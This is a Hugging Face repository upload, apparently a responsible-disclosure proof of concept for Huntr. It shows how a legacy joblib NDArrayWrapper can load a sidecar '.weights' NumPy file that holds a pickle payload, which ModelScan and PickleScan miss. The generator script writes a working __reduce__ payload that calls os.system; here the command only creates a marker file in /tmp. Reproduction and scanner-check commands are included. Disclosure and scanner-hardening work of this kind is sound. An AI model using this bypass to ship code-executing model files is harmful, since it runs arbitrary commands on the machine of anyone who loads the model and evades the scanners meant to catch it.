Upload folder using huggingface_hub
Browse files- README.md +56 -0
- generate_poc.py +27 -0
- model.joblib +3 -0
- reproduce.py +20 -0
- requirements.txt +5 -0
- weights.weights +0 -0
README.md
ADDED
|
@@ -0,0 +1,56 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# Joblib NDArrayWrapper Sidecar Scanner Bypass PoC
|
| 2 |
+
|
| 3 |
+
Security research PoC for responsible disclosure through Huntr's Model File Vulnerability program.
|
| 4 |
+
|
| 5 |
+
This repository demonstrates a scanner-bypass pattern for `.joblib` artifacts:
|
| 6 |
+
|
| 7 |
+
- `model.joblib` contains a legacy `joblib.numpy_pickle_compat.NDArrayWrapper`.
|
| 8 |
+
- The wrapper references `weights.weights`.
|
| 9 |
+
- `weights.weights` is a valid NumPy object-array file with an unsupported extension.
|
| 10 |
+
- `joblib.load("model.joblib")` resolves and loads the sidecar with `allow_pickle=True`.
|
| 11 |
+
- ModelScan and PickleScan do not follow the sidecar reference and report no dangerous payload.
|
| 12 |
+
|
| 13 |
+
The payload is benign. Loading the model writes a marker file at `/tmp/joblib_mfv_marker.txt`.
|
| 14 |
+
|
| 15 |
+
## Tested Versions
|
| 16 |
+
|
| 17 |
+
- Python `3.12.13`
|
| 18 |
+
- `joblib==1.5.3`
|
| 19 |
+
- `modelscan==0.8.8`
|
| 20 |
+
- `picklescan==1.0.4`
|
| 21 |
+
- `numpy==2.4.5`
|
| 22 |
+
|
| 23 |
+
## Reproduce
|
| 24 |
+
|
| 25 |
+
```bash
|
| 26 |
+
python -m venv .venv
|
| 27 |
+
. .venv/bin/activate
|
| 28 |
+
pip install -r requirements.txt
|
| 29 |
+
|
| 30 |
+
rm -f /tmp/joblib_mfv_marker.txt
|
| 31 |
+
python reproduce.py
|
| 32 |
+
test -f /tmp/joblib_mfv_marker.txt && echo "marker created"
|
| 33 |
+
```
|
| 34 |
+
|
| 35 |
+
## Scanner Checks
|
| 36 |
+
|
| 37 |
+
```bash
|
| 38 |
+
modelscan -p . -r json --show-skipped
|
| 39 |
+
picklescan -p . -g
|
| 40 |
+
```
|
| 41 |
+
|
| 42 |
+
Expected scanner behavior:
|
| 43 |
+
|
| 44 |
+
- ModelScan scans `model.joblib`, skips `weights.weights` as unsupported, and reports `0` issues.
|
| 45 |
+
- PickleScan reports `0` infected files and `0` dangerous globals for this artifact.
|
| 46 |
+
|
| 47 |
+
Expected load behavior:
|
| 48 |
+
|
| 49 |
+
- `joblib.load("model.joblib")` creates `/tmp/joblib_mfv_marker.txt`.
|
| 50 |
+
|
| 51 |
+
## Why This Matters
|
| 52 |
+
|
| 53 |
+
The dangerous pickle stream is not stored in the main `.joblib` file. It is stored in a sidecar file whose filename is controlled by the legacy Joblib wrapper. Scanners that only inspect the wrapper stream, or only scan NumPy files by extension, miss the payload that Joblib later loads.
|
| 54 |
+
|
| 55 |
+
This is distinct from generic pickle/joblib deserialization and from already-public compressed-joblib or inline NumPy object-array bypasses.
|
| 56 |
+
|
generate_poc.py
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import os
|
| 2 |
+
import pickle
|
| 3 |
+
from pathlib import Path
|
| 4 |
+
|
| 5 |
+
import numpy as np
|
| 6 |
+
from joblib.numpy_pickle_compat import NDArrayWrapper
|
| 7 |
+
|
| 8 |
+
|
| 9 |
+
class MarkerPayload:
|
| 10 |
+
def __reduce__(self):
|
| 11 |
+
return os.system, ("printf joblib_mfv_marker > /tmp/joblib_mfv_marker.txt",)
|
| 12 |
+
|
| 13 |
+
|
| 14 |
+
def main() -> None:
|
| 15 |
+
base = Path(__file__).resolve().parent
|
| 16 |
+
sidecar = base / "weights.weights"
|
| 17 |
+
with sidecar.open("wb") as f:
|
| 18 |
+
np.save(f, np.array([MarkerPayload()], dtype=object), allow_pickle=True)
|
| 19 |
+
|
| 20 |
+
model = base / "model.joblib"
|
| 21 |
+
with model.open("wb") as f:
|
| 22 |
+
pickle.dump(NDArrayWrapper("weights.weights", np.ndarray), f, protocol=4)
|
| 23 |
+
|
| 24 |
+
|
| 25 |
+
if __name__ == "__main__":
|
| 26 |
+
main()
|
| 27 |
+
|
model.joblib
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:a17382807dc2690254da5cb5e40aa428f68909429dba3d250f50ec138a873f89
|
| 3 |
+
size 142
|
reproduce.py
ADDED
|
@@ -0,0 +1,20 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
from pathlib import Path
|
| 2 |
+
|
| 3 |
+
import joblib
|
| 4 |
+
|
| 5 |
+
|
| 6 |
+
MARKER = Path("/tmp/joblib_mfv_marker.txt")
|
| 7 |
+
|
| 8 |
+
|
| 9 |
+
def main() -> None:
|
| 10 |
+
if MARKER.exists():
|
| 11 |
+
MARKER.unlink()
|
| 12 |
+
|
| 13 |
+
obj = joblib.load("model.joblib")
|
| 14 |
+
print(f"loaded type: {type(obj).__name__}")
|
| 15 |
+
print(f"marker exists: {MARKER.exists()}")
|
| 16 |
+
|
| 17 |
+
|
| 18 |
+
if __name__ == "__main__":
|
| 19 |
+
main()
|
| 20 |
+
|
requirements.txt
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
joblib==1.5.3
|
| 2 |
+
modelscan==0.8.8
|
| 3 |
+
picklescan==1.0.4
|
| 4 |
+
numpy==2.4.5
|
| 5 |
+
|
weights.weights
ADDED
|
Binary file (355 Bytes). View file
|
|
|